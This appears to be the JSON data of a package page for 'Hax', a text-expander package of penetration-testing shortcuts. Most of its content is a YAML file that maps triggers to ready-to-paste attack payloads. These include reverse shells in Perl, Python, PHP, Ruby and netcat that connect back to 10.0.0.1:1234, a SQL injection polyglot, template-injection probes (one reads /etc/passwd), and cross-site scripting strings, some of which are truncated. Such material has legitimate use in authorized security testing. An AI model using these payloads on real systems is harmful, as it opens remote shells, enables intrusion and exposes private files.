[{"_1":2,"_46":-5,"_47":-5},"loaderData",{"_3":4},"routes/package",{"_5":6,"_42":43,"_44":45},"package",{"_7":8,"_9":10,"_11":12,"_13":14,"_15":16,"_17":18,"_19":20,"_21":22,"_31":32,"_33":34,"_41":-7},"name","hax","author","Nick Aliferopoulos","description","Penetration testing utilities and replacements","title","Hax","version","0.1.0","archive_url","https://github.com/espanso/hub/releases/latest/download/hax-0.1.0.zip","archive_sha256_url","https://github.com/espanso/hub/releases/latest/download/hax-0.1.0-sha256.txt","tags",[8,23,24,25,26,27,28,29,30],"hack","hacking","penetration","sqli","xss","shell","ssti","xxe","id","hax-0.1.0","files",{"_35":36,"_37":38,"_39":40},"_manifest.yml","name: \"hax\"\ntitle: \"Hax\"\ndescription: Penetration testing utilities and replacements\nversion: 0.1.0\nauthor: Nick Aliferopoulos\ntags: [\"hax\", \"hack\", \"hacking\", \"penetration\", \"sqli\", \"xss\", \"shell\", \"ssti\", \"xxe\"]","README.md","# Hax - A collection of shortcuts for hackers/penetration testers\n\nAll the payloads included in `Hax` originate from the following sources, which I would like to thank:\n- https://github.com/swisskyrepo/PayloadsAllTheThings\n- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet","package.yml","matches:\n # Reverse Shells\n - trigger: \":rev-perl\"\n replace: \"perl -e 'use Socket;$i=\\\"10.0.0.1\\\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\"tcp\\\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\\\">&S\\\");open(STDOUT,\\\">&S\\\");open(STDERR,\\\">&S\\\");exec(\\\"/bin/sh -i\\\");};'\"\n - trigger: \":rev-python\"\n replace: \"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"10.0.0.1\\\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);'\"\n - trigger: \":rev-php\"\n replace: \"php -r '$sock=fsockopen(\\\"10.0.0.1\\\",1234);exec(\\\"/bin/sh -i <&3 >&3 2>&3\\\");'\"\n - trigger: \":rev-ruby\"\n replace: \"ruby -rsocket -e'f=TCPSocket.open(\\\"10.0.0.1\\\",1234).to_i;exec sprintf(\\\"/bin/sh -i <&%d >&%d 2>&%d\\\",f,f,f)'\"\n - trigger: \":rev-nc\"\n replace: \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f\"\n\n # SQL Injection Payloads\n - trigger: \":sqli-poly\"\n replace: \"SLEEP(1) /*' or SLEEP(1) or '\\\" or SLEEP(1) or \\\"*/\"\n\n # Server-side Template Injection Payloads\n - trigger: \":ssti-asp\"\n replace: \"@(1+2)\"\n - trigger: \":ssti-el\"\n replace: \"${1+1}\"\n - trigger: \":ssti-el-alt\"\n replace: \"#{1+1}\"\n - trigger: \":ssti-groovy\"\n replace: \"${\\\"http://www.google.com\\\".toURL().text}\"\n - trigger: \":ssti-groovy-alt\"\n replace: \"${new URL(\\\"http://www.google.com\\\").getText()}\"\n - trigger: \":ssti-jinja\"\n replace: \"{{4*4}}[[5*5]]\"\n - trigger: \":ssti-ruby-file\"\n replace: \"<%= File.open('/etc/passwd').read %>\"\n - trigger: \":ssti-ruby-dir\"\n replace: \"<%= Dir.entries('/') %>\"\n - trigger: \":ssti-smarty\"\n replace: \"{$smarty.version}\"\n - trigger: \":ssti-twig\"\n replace: \"{{dump(app)}}\"\n - trigger: \":ssti-velocity\"\n replace: \"#set($str=$class.inspect(\\\"java.lang.String\\\").type)\"\n\n # Cross-site Scripting Payloads\n - trigger: \":xss-basic\"\n replace: \"\"\n - trigger: \":xss-img\"\n replace: \"

\"\n - trigger: \":xss-dom\"\n replace: \"#\\\">

\"\n - trigger: \":xss-markdown\"\n replace: \"[a](javascript:prompt(1))\"\n - trigger: \":xss-poly\"\n replace: \"\\\" onclick=alert(1)//